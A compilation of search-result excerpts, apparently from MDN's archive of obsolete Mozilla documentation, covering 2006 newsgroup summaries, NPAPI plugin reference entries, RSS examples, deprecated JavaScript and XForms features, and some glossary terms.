... meetings calendar project weekly status meeting - 2006/11/15 17:00 utc (meeting notes) calendar project weekly qa chat - 2006/11/02 16:30 utc (meeting notes) ...
2006-11-10 - Archive of obsolete content
reflow branch build failed with vc 7.1 sp1 november 8th: roy received an error when he tried to reflow a branch build using vc 7.1 sp1.
... building xulrunner application with mozilla november 8th: kirans is trying to build mozilla with xulrunner option on a windows machine.
... when he ran this "make -f client.mk build" command he receive an error saying "no such file or directory".
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.l10n - october 20, 2006 announcements sign-off for zh-tw firefox 2 sign-off for zh-tw firefox 2 sign off of chinese simplified firefox 2.0 sign off of simplified chinese firefox 2 attention dictionary providers, or: warning, amo sucks there was at amo (addons.mozilla.org), which has been being fixed.
... people who want to upload dictionaries should be advised and check #amo at irc.mozilla.org.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(vipers101) ...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.l10n - october 27, 2006 announcements drafts of eulas for several lanugages available for review drafts of eulas for several lanugages available for review final ff release already announced a french site has already announced final ff 2.0 and gives download links on its own site.
... update check failing in firefox 2.0 if add-on type is 8 testing a custom update.rdf file for a langpack using the official version of firefox 2.0 rc 3.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(vipers101) ...
2006-11-10 - Archive of obsolete content
latvian pellcheck dictionary for ff2.0 newest openoffice dictionary files for ff 2.0 spell-checker is available.
... discussions help about firefox 3 a discussion on how to syncronise mozilla_1_8_branch with the trunk, which tag should be used to check-in files on trunk, and when files will be pulled from trunk to create another branch (mozilla_1_9_branch?) for firefox 3.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(vipers101) ...
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.l10n - december 1, 2006 announcements langpacks for sunbird nightly builds available for testing langpacks for sunbird nightly builds available for testing seamonkey 1.1 late string changes for mail content policy the fix to bug 360288 has landed.
... thunderbird options dialog string changes a lot of string changes to the thunderbird options dialog was landed.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(vipers101) ...
2006-11-10 - Archive of obsolete content
announcments mike connor announced new 'driving' bugs "we have added a pair of drivers-only flags...o track bugs that are not strictly blockers, but are wanted as soon as possible" benjamin smedberg announced new rules for patches to toolkit from now on unit test must be provided with all patches.
...code freeze for these versions is on november 26 version numbering changes paul reed announced changes to the way version numbers are done for pre-releases.
... discussion version numbering changes some discussion about paul's announcement of version number changes meetings november 6 project status meeting (notes) november 7 bon echoe status meeting (notes) november 8 gecko 1.9/gran paradiso status meeting: (agenda) ...
2006-11-10 - Archive of obsolete content
william vanderpol asks, regarding remote xul applications, if is it possible (or does it exist?) to have an extension that will allow chrome access to certain specified url's?
...benjamin smedberg has been "working on some xptcall refactoring which will allow us to expose xptcall via a frozen api (and c linkage)".
... he is looking for xptcall port maintainers to submit patches to bug 349002.
2006-11-03 - Archive of obsolete content
the aim of the group is to develop a new, higher standard for the validation which is done before certificate issuance, called extended validation.
... the idea was that such certs would be presented differently in the ui, to give the cas a reason to go to the extra effort, and to give customers a reason to buy them.
...he would like to have some comments before november 19th, after which there will possibly be a vote.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.tech.layout - october 28 - november 3, 2006 announcements new reflow branch off of trunk l.
... david baron announced that he merged the reflow branch to a new branch (reflow_20061031_branch) off of the trunk.
... perf question (reflow branch) a look into bug #352367 and the mention of possibly reducing the number of times nsframe::intrinsicwidthoffsets is called for each cell within a table.
2006-12- 08 - Archive of obsolete content
summary: mozilla.dev.tech.layout - december 2, 2006 - december 8, 2006 announcements none this week.
... discussions [further computesize changes l.
... david baron is planning to make an additional change to the computesize api onthe reflow branch to resolve a number of float-related bugs (359135,360093), and some others.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 14-oct 20, 2006 return to mozilla-dev-tech-xul announcements none during this week.
...neil notes that the format of localstore has changed from previous versions and that "persist" is not functioning properly using the new format.
...the bug number has not been posted to the newsgroup and searching in bugzilla was unsuccessful.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 11-nov 17, 2006 return to mozilla-dev-tech-xul announcements processing instructions are now added to xul document's dom on november 12, 2006, nickolay ponomarev announces the results of the recently fixed bug 319654.
... the result of the bug fix is that you may no longer use document.firstchild in xul scripts.
... for a summary of the changes and workarounds, read nickolay's post in the mozilla.dev.tech.xul newsgroup.
2006-10-13 - Archive of obsolete content
discussions how to change between lightning and mail discussion about how to view folder pane and lightning pane again after you closed them.
... lightning 0.3 - event list/search?
... discussion about the ability to list and search all the events in a calendar.
2006-10-20 - Archive of obsolete content
discussions lightning 0.3 - event list/search ?
... discussion about the missing ability to list and search all the events in a calendar in lightning 0.3.
...for example improving the left pane, so that user can switch between mail and calendar.
NPByteRange - Archive of obsolete content
length number of bytes to fetch from the specified offset.
... description the plug-in seeks within a stream by building a linked list of one or more npbyterange objects, which represents a set of discontiguous byte ranges.
... the only plug-in api call that uses the npbyterange type is npn_requestread(), which lets the plug-in read specified parts of a file without downloading it.
NPClass - Archive of obsolete content
this is set to np_class_struct_version, which is 1 in mozilla 1.8.*, 2 since mozilla 1.9a1, and 3 since firefox 3.0b1.
... deallocate called by npn_releaseobject() when an object's reference count reaches zero.
... hasproperty called by npn_hasproperty() to check whether a given property exists on a given npobject.
NPEvent - Archive of obsolete content
eventrecord npevent on mac os npevent is defined as an eventrecord data structure, which has the following fields: what integer representing an event type.
... xevent npevent on unix/x11 npevent is defined as an xevent data structure, which is a union of a number of different x11 event structures.
... type the type member is an int representing an event type, and indicating which structure is relevant.
NPN_ForceRedraw - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary asks the plugin host to immediately (synchronously) repaint invalid areas.
...syntax #include <npapi.h> void npn_forceredraw(npp instance); parameters the function has the following parameters: instance plug-in instance for which the function forces redrawing.
...this causes a synchronous update event or paint message for the plug-in.
NPN_MemAlloc - Archive of obsolete content
since the browser and plug-ins share the same memory space, npn_memalloc allows plug-ins to take advantage of any customized memory allocation scheme the application may have, and allows the application to manage its memory more flexibly and efficiently.
... mac os npn_memalloc is particularly important on mac os, since the mac os version of the browser frequently fills its memory partition with cached data that is only purged as necessary.
... since npn_memalloc automatically frees cached information if necessary to fulfill the request, calls to npn_memalloc may succeed where direct calls to newptr fail.
NPN_PostURLNotify - Archive of obsolete content
syntax #include <npapi.h> nperror npn_posturlnotify(npp instance, const char* url, const char* target, uint32 len, const char* buf, npbool file, void* notifydata); parameters the function has the following parameters: instance current plug-in instance, specified by the plug-in.
... notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify call, which returns this value (see description below).
... npn_posturlnotify is typically asynchronous: it returns immediately and only later handles the request and calls npp_urlnotify.
NPN_SetValue - Archive of obsolete content
description a good place to set plugin operation mode such as windowless mode is npp_new, so the browser knows right away what mode the plugin is designed to operate in.
... nppvpluginkeeplibraryinmemory specifies that the plugin does not want to be unloaded from memory after the page which initiated it has gone.
...in such a case all this will be done on the browser shutdown.
NPN_Write - Archive of obsolete content
stream pointer to the stream into which to push the data.
... note: you should actually handle errors, which this example doesn't do.
... npstream* stream; char* mydata = "<html><b>this is a message from my plug-in!</b></html>"; int32 mylength = strlen(mydata) + 1; /* create the stream.
NPP_HandleEvent - Archive of obsolete content
ms windows the browser gives each windowed plug-in its own native window, often a child window of the browser window, to draw into.
... mac os the browser does not give a windowed plug-in a native window, because the mac os platform does not support child windows.
...when npp_handleevent is called, the current port is set up so that its origin matches the top-left corner of the plug-in.
NPP_New - Archive of obsolete content
syntax #include <npapi.h> nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved); parameters the function has the following parameters: plugintype pointer to the mime type for new plug-in instance.
... a new instance pointer (npp instance) is created by the plug-in, which is valid until the instance is destroyed with npp_destroy.
...this gives developers a chance to use private attributes to communicate instance-specific options or other information to the plug-in.
NPUTF8 - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary nputf8 is a byte representing an 8-bit unit of a utf-8 character.
... this is not the same thing as an entire utf-8 character, which may be comprised of multiple nputf8 bytes.
... syntax typedef char nputf8; description the nputf8 type is used in constructing utf-8 strings for use by the plugin scripting api extension.
NP_Port - Archive of obsolete content
syntax typedef struct np_port { cgrafptr port; /* grafport */ int32 portx; /* position inside the topmost window */ int32 porty; } np_port; fields the data structure has the following fields: port standard mac os port into which the plug-in should draw.
... description on mac os, the window field of an npwindow structure points to an np_port object, which is allocated by the browser.
... save the current port settings before changing the port for drawing.
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
this greatly bloats the size of contents but is necessary since certain characters are no allowed in xml.
... an example using the most popular element of the rss content module is shown below: <?xml version="1.0"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>a link in here</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>sun, 1...
...</item> <item> <title>some bold html</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/112</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</pubdate> <link>http://www.example.com/blog/2005/05/15/112</link> <content:encoded><![cdata[this is <b>bold</b>.]]></content:encoded> </item> </channel> </rss> the <content:encoded> element is the reason that the rss content module is popular.
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
sure rss has the <comments> element, but it points to a html page that isn't machine readable.
... an example using the most popular element of the well-formed web rss module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:wfw="http://wellformedweb.org/commentapi/" > <channel> <title>example</title> <description>an rss example with wfw</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>i like root beer</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54321</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</pubdate> <link>http://www.example.com/article/54321</link> <wfw:commentrss>http://w...
...k> <wfw:commentrss>http://www.example.com/feed/rss/54320/comments</wfw:commentrss> </item> <item> <title>huh?!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54319</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</pubdate> <link>http://www.example.com/article/54319</link> <wfw:commentrss>http://www.example.com/feed/rss/54319/comments</wfw:commentrss> </item> </channel> </rss> the <wfw:commentrss> element is the reason that the well-formed web rss module is popular.
Getting Started - Archive of obsolete content
you must also know how to use each of these.
... how to use this tutorial although each page in this tutorial has been written so that it can act as a "standalone" tutorial, it does assume you already possess the knowledge of the information taught in previous pages of this tutorial.
... tutorial what is rss why use rss how rss works syndicating blogs broadcatching microformats advanced broadcatching ...
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
when rss 0.90 was created, the rss initialization stood for rich site summary and not really simple syndication.
... examples rss 0.90 looked something like this: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <channel> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> <title>mozilla</title> <url>http://www.mozilla.org/images/moz.gif</url> <link>http://www.mozilla.org</link> </image> <item> <tit...
... specification the original rss 0.90 specification has disappeared from its original location: http://my.netscape.com/publish/help/quickstart.html copies of it have been saved, and can be viewed at the following locations: http://www.purplepages.ie/rss/netscape/rss0.90.html http://web.archive.org/web/*/http://...uickstart.html ...
Version - Archive of obsolete content
they are listed in chronological order of when they were released.
... note: in the list below, although rss 1.0 seems to be out of place, it is actually in the correct place chronologically.
... name status release date based on author rss 0.90 march 1999 rdf netscape netscape's rss 0.91 (revision 1) ?
NSPR Release Engineering Guide - Archive of obsolete content
feature complete update ...pr/include/prinit.h with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing...
... anomalies tag the tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree using tag (including fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rename.sh symlink.sh rtm bits rename the .vx.y.z directory to vx.y.z (remove the hidden directory 'dot').
... copy /share/builds/components/nspr20/vx.y.z/* to /share/systems/mozilla/pub/nspr/vx.y.z/ original document information author: larryh@netscape.com last updated date: september 20, 2000 1 copying files to /share/builds/components requires that one be logged on to a machine named "smithers" as user "svbld".
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my...
..._theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:browser"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:communicator"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:global"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:mozapps"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:help"/> </rdf:rdf> ...
Settings - Archive of obsolete content
the debugger has its own settings menu, which you can access from an icon in the toolbar: each setting is a simple on/off switch: auto prettify minified sources with this option enabled, the debugger will automatically detect minified js files and pretty-print them.
... show variables filter box enabling this option adds a "filter variables" search box to the variables pane, so that you can filter the displayed list of variables.
... show original sources enabling this option will make the debugger use source maps, if they are available, to display the original source for code which has been combined, minified, or even compiled to javascript from a language like coffeescript.
-ms-content-zoom-limit - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-content-zoom-limit-max: 400%-ms-content-zoom-limit-min: 100%applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednopercentagesas each of the properties of the shorthand:-ms-content-zoom-limit-max: the largest allowed zoom factor.
...smaller values zoom out.computed valueas each of the properties of the shorthand:-ms-content-zoom-limit-max: as specified-ms-content-zoom-limit-min: as specifiedanimation typediscrete syntax the -ms-content-zoom-limit shorthand property is specified as one or both of the following content zoom limit values, in order, separated by spaces.
... starting with windows 8.1, this property is also supported for touchpad interaction.
-moz-windows-theme - Archive of obsolete content
to xul / chrome code).
... the -moz-windows-theme gecko-only css media feature is useful for customizing application skins and other chrome code to work well with the user's windows theme.
... syntax the -moz-windows-theme feature is specified as a keyword value that indicates which windows theme is currently being used.
Displaying notifications (deprecated) - Archive of obsolete content
creating a notification the first thing you need to do is create the notification object by using the navigator.moznotification object's createnotification() method, as follows: var notification = navigator.moznotification.createnotification( "hey, check this out!", "this is a notification posted by " + "firefox 4.
... for example, let's simply append a little html to our document when these events fire: notification.onclick = function() { var e = document.createelement("p"); e.innerhtml = "<strong>the notification was clicked.</strong>"; document.body.appendchild(e); }; notification.onclose = function() { var e = document.createelement("p"); e.innerhtml = "<strong>the notification was closed.</strong>"; document.body.appendchild(e); }; displaying the notification once the notification is configured the way you want it to be, call its show() method to display the notification: notification.show(); on android, for example, the resulting notifi...
...cation panel looks like this: when the user taps on the "hey, check this out!" notification here, the resulting changes to the document look like this: if you're using firefox mobile, you can see this example live by tapping the button below.
E4X - Archive of obsolete content
ArchiveWebE4X
it has been disabled by default for webpages (content) in firefox 17, disabled by default for chrome in firefox 20, and has been removed in firefox 21.
... note: in gecko 1.8 based browsers such as firefox 1.5, e4x is already partially enabled for web page authors.
...the difference between the two modes is that without the "e4x=1" mime type, any statement-level xml/html comment literals (<!--...-->) are ignored for backwards compatibility with the comment hiding trick, and cdata sections (<![cdata[...]]>) are not parsed as cdata literals (which leads to a js syntax error in html since html's <script> element produces an implicit cdata section, and therefore cannot contain explicit cdata sections).
Array.unobserve() - Archive of obsolete content
callback the reference to the observer to stop calling each time changes are made on the array arr.
... examples unobserving an array var arr = [1, 2, 3]; var observer = function(changes) { console.log(changes); } array.observe(arr, observer); ​ arr.push(4); // [{type: "splice", object: <arr>, index: 3, removed:[], addedcount: 1}] array.unobserve(arr, observer); arr.pop(); // the callback wasn't called using an anonymous function var persons = ['khalid', 'ahmed', 'mohammed']; array.observe(persons, function (changes) { console.log(changes); }); persons.shift(); ...
...// [{type: "splice", object: <arr>, index: 0, removed: [ "khalid" ], addedcount: 0 }] array.unobserve(persons, function (changes) { console.log(changes); }); persons.push('abdullah'); // [{type: "splice", object: <arr>, index: 2, removed: [], addedcount: 1 }] // the callback will always be called ...
Legacy generator function expression - Archive of obsolete content
the legacy generator function expression was a spidermonkey-specific feature, which is removed in firefox 58+.
...can be omitted, in which case the function is anonymous.
... statements the statements which comprise the body of the function.
Debug.setNonUserCodeExceptions - Archive of obsolete content
the debug.setnonusercodeexceptions property determines whether any try-catch blocks in this scope are to be treated by the debugger as user-unhandled.
... syntax debug.setnonusercodeexceptions [= bool]; remarks if this property is set to true within a given scope, the debugger can then choose whether to take some specified action on exceptions thrown inside that scope: for instance, if the developer wishes to break on user-unhandled exceptions.
... (function () { debug.setnonusercodeexceptions = true; try{ var x = null; x.y(); } catch (e) { // catch the exception.
Debug.writeln - Archive of obsolete content
the debug.writeln function sends strings to the script debugger, followed by a newline character.
... remarks the debug.writeln function sends strings, followed by a newline character, to the immediate window of the microsoft script debugger at run time.
...the only difference is that the debug.write function does not send a newline character after sending the strings.
VBArray - Archive of obsolete content
syntax varname = new vbarray(safearray) parameters varname the variable name to which the vbarray is assigned.
...the indices of each dimension can be different.
... the dimensions method retrieves the number of dimensions in the array; the lbound and ubound methods retrieve the range of indices used by each dimension.
New in JavaScript 1.4 - Archive of obsolete content
the following is a changelog for javascript 1.4, which was only used for netscape's server side javascript released in 1999.
... the old netscape documentation can be found on archive.org.
... new features in javascript 1.4 exception handling (throw and try...catch) in operator instanceof operator changed functionality in javascript 1.4 eval() changes (cannot be called indirectly and no longer a method of object) arguments not a property of functions deprecated function.arity in favor of function.length changes to liveconnect ...
New in JavaScript 1.6 - Archive of obsolete content
the following is a changelog for javascript 1.6.
... this version was included in firefox 1.5 (gecko 1.8), which was released in november 2005.
... array.prototype.indexof() array.prototype.lastindexof() array.prototype.every() array.prototype.filter() array.prototype.foreach() array.prototype.map() array.prototype.some() array generics string generics for each...in changed functionality in javascript 1.6 a bug in which arguments[n] cannot be set if n is greater than the number of formal or actual parameters has been fixed.
New in JavaScript 1.8.1 - Archive of obsolete content
the following is a changelog for javascript 1.8.1.
... javascript 1.8.1 is a modest update syntactically to javascript; the main change in this release is the addition of the tracemonkey just-in-time compiler, which improves performance.
... new features in javascript 1.8.1 object.getprototypeof() support for native json string.prototype.trim() string.prototype.trimleft() string.prototype.trimright() changed functionality in javascript 1.8.1 implicit setting of properties in object and array initializers no longer execute setters in javascript.
Object.unobserve() - Archive of obsolete content
callback the reference to the observer to stop calling each time changes are made on the object obj.
... examples unobserving an object var obj = { foo: 0, bar: 1 }; var observer = function(changes) { console.log(changes); } object.observe(obj, observer); ​ obj.newproperty = 2; // [{name: 'newproperty', object: <obj>, type: 'add'}] object.unobserve(obj, observer); obj.foo = 1; // the callback wasn't called using an anonymous function var person = { name: 'ahmed', age: 25 }; object.observe(person, function(changes) { console.log(changes); }); person.age = 40; // [{name:...
... 'age', object: <obj>, oldvalue: 25, type: 'update'}] object.unobserve(person, function(changes) { console.log(changes); }); person.age = 63; // [{name: 'age', object: <obj>, oldvalue: 40, type: 'update'}] // the callback will always be called specifications not part of any standard.
String.prototype.quote() - Archive of obsolete content
the non-standard quote() method returns a copy of the string, replacing various special characters in the string with their escape sequences and wrapping the result in double-quotes (").
... syntax str.quote() return value a new string representing the original string wrapped in double-quotes, with any special characters escaped.
... examples using quote in the table below the quote() method replaces any special characters and wraps the strings in double-quotes.
JSException - Archive of obsolete content
summary the public class jsexception extends runtimeexception java.lang.object | +----java.lang.throwable | +----java.lang.exception | +----java.lang.runtimeexception | +----netscape.javascript.jsexception description jsexception is an exception which is thrown when javascript code returns an error.
... backward compatibility javascript 1.1 through 1.3 jsexception had three public constructors which optionally took a string argument, specifying the detail message or other information for the exception.
... declaration public int getwrappedexceptiontype() description getwrappedexceptiontype() returns an int that matches one of the following static ints declared by the jsexception class: exception_type_empty exception_type_void exception_type_object exception_type_function exception_type_string exception_type_number exception_type_boolean ...
XForms Custom Controls Examples - Archive of obsolete content
output showing images <binding id="output-image" extends="chrome://xforms/content/xforms.xml#xformswidget-base"> <content> <html:div> <html:img anonid="content"/> </html:div> </content> <implementation implements="nsixformsuiwidget"> <method name="refresh"> <body> var img = document.getanonymouselementbyattribute(this, "anonid", "content"); img.setattribute("src", this.stringvalue); return true; </body> </method> </implementation> </binding> output showing xhtml <binding id="output-xhtml" extends="chrome://xforms/content/xforms-xhtml.xml#xformswid...
...get-output"> <content> <children includes="label"/> <xhtml:div class="xf-value" anonid="content"></xhtml:div> <children/> </content> <implementation implements="nsixformsuiwidget"> <field name="_domparser">null</field> <property name="domparser" readonly="true"> <getter> if (!this._domparser) this._domparser = new domparser(); return this._domparser; </getter> </property> <method name="refresh"> <body> // get new value, parse, and import it.
... var val = this.stringvalue; var newdom = this.domparser.parsefromstring(val, "text/xml"); var impnode = document.importnode(newdom.firstchild, true); // get content node, clean it, and update it var content = document.getanonymouselementbyattribute(this, "anonid", "content"); if (content.firstchild) { content.removechild(content.firstchild); } content.appendchild(impnode); return true; </body> </method> </implementation> </binding> ...
Developing Mozilla XForms - Archive of obsolete content
debugging always start with a debug build of the xforms and the schema-validation extensions.
...schema validation problems the schema-validation extension contains a logging facility that can show some internals on the schema processing.
... to activate this logging output, set the nspr_log_modules environment variable: export nspr_log_modules=schemavalidation:5 this only works on a debug build as described above.
XForms Range Element - Archive of obsolete content
introduction allows the user to choose a value from within a specific range of values (see the spec).
...this determines how much the value of the range will be changed upon user interaction.
...characteristics analogous widget is <xul:scale/>, which is available in fx 3.0 only if the incremental attribute has the value true, the value of the bound node will be updated upon each movement of the slider's thumb.
XForms Secret Element - Archive of obsolete content
each character typed by the user is represented by an asterisk on the screen (see the spec).
...the password field is a text field, the value of which is hidden by asterisks (xhtml/xul).
... characteristics analogous widgets are <xhtml:input type="password"/> and <xul:textbox type="password"/> if the incremental attribute is present and has the value true, then the bound instance node is updated on every user input.
XForms Trigger Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding type restrictions the trigger element can be bound to a node containing data of any type.
...characteristics analogous widgets are <html:input type="button"/> and <xul:button/> link/clickable text xforms authors can use this representation if they want to have a widget like a xhtml anchor (xhtml only).
... characteristics appearance attribute contains the value minimal analogue widget is <xhtml:a/>.
XForms Upload Element - Archive of obsolete content
the xforms author can set the filter by using the mediatype attribute directly on the upload element or by placing a mediatype element (see the spec) as a direct child of the upload element.
... representations the xforms upload element is represented by visually combining three widgets: a text field that shows the uri of the selected file, a button to open the file picker dialog which allows the user to select a file, and a button to clear the text field and the reference to the file from the bound node (xhtml only).
... characteristics analogous widget is <xhtml:input type="file"/> ...
Using XForms and PHP - Archive of obsolete content
to do that, you need to use the header() php function: <?php header("content-type: application/xhtml+xml; charset=utf-8"); ...
...how to actually parse and use the xml data depends heavily on what you want to achieve and on the php version.
...$newnode = $dom->create_element("boo"); $root->append_child($newnode); ...
XUL Booster - Archive of obsolete content
add an overlay you'll need the chrome address of the content you wish to overlay, ex.
... chrome://browser/content/browser.xul.
... learn more at creating_a_mozilla_extension:finding_the_file_to_modify to create an xul:overlay, create a xul fragment with a top level node that has an id matching an existing element, ex.
Chrome - MDN Web Docs Glossary: Definitions of Web-related terms
in a browser, the chrome is any visible aspect of a browser aside from the webpages themselves (e.g., toolbars, menu bar, tabs).
... this is not to be confused with the google chrome browser.
... learn more browser and gui chrome ...
Fetch metadata request header - MDN Web Docs Glossary: Definitions of Web-related terms
a fetch metadata request header is a http request header that provides additional information about the context the request originated from.
... fetch metadata request headers provide the server with additional information about where the request originated from, enabling it to ignore potentially malicious requests.
... the following are fetch metadata request headers: sec-fetch-site sec-fetch-mode sec-fetch-user sec-fetch-dest ...
Synchronous - MDN Web Docs Glossary: Definitions of Web-related terms
synchronous refers to real-time communication where each party receives (and if necessary, processes and replies to) messages instantly (or as near to instantly as possible).
... many programming commands are also synchronous — for example when you type in a calculation, the environment will return the result to you instantly, unless you program it not to.
... learn more technical reference asynchronous synchronous and asynchronous requests using the xmlhttprequest() api ...
Character - MDN Web Docs Glossary: Definitions of Web-related terms
a character is either a symbol (letters, numbers, punctuation) or non-printing "control" (e.g., carriage return or soft hyphen).
... utf-8 is the most common character set and includes the graphemes of the most popular human languages.
... learn more general knowledge character (computing) on wikipedia character encoding on wikipedia ascii on wikipedia utf-8 on wikipedia unicode on wikipedia ...
Character encoding - MDN Web Docs Glossary: Definitions of Web-related terms
by specifying a particular encoding (such as utf-8), we specify how the sequence of bytes is to be interpreted.
... for example, in html we normally declare a character encoding of utf-8, using the following line: <meta charset="utf-8"> this ensures that you can use characters from just about any human language in your html document, and they will display reliably.
... learn more general knowledge character encoding on w3c character encoding on wikipedia ...
Choosing the right memory allocator
this article looks over some of them and tries to sort out which should be used under what circumstances.
...these methods convert ns*string to nsimemory allocated, unowned [pruni]char* buffers.
...er) pr_freeif special cases pr_smprintf(), pr_sprintf_append(), pr_vsmprintf() and pr_vsprintf_append() must be freed with pr_smprintf_free() pl_strdup(), pl_strndup() must be freed with pl_strfree() nscrt::strdup/nscrt::strndup must be freed with nscrt::free allocating memory within plugins there are special memory allocation routines specifically intended for use from plugins, which must not be used from within mozilla itself.
mozbrowseraudioplaybackchange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowseraudioplaybackchange event is fired when audio starts or stops playing within a browser <iframe>.
... examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseraudioplaybackchange", function(event) { console.log(event.details); }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserlocationchange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowserlocationchange event is fired when a browser <iframe>'s location changes — it is fired every time navigation occurs.
... var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserlocationchange', function (event) { urlbar.value = event.detail.url; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsermanifestchange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowsermanifestchange event is fired when the manifest location of the app loaded in the browser <iframe> changes.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsermanifestchange", function(event) { console.log("new manifest url: " + event.details.href); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserscrollviewchange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowserscrollviewchange event is fired when asynchronous scrolling (i.e.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscrollviewchange", function( event ) { console.log("scrolling has " + event.details.state + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
Gecko Chrome
this page contains information specific to chrome code running in gecko.
... chrome-only api referencethis page lists apis that only run in gecko chrome code (and sometimes in other privileged circumstances.)chrome-only css referencethis page lists css properties that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg.
... ua stylesheets.) chrome-only events referencethis page lists events that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg.
browser.search.context.loadInBackground
browser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.
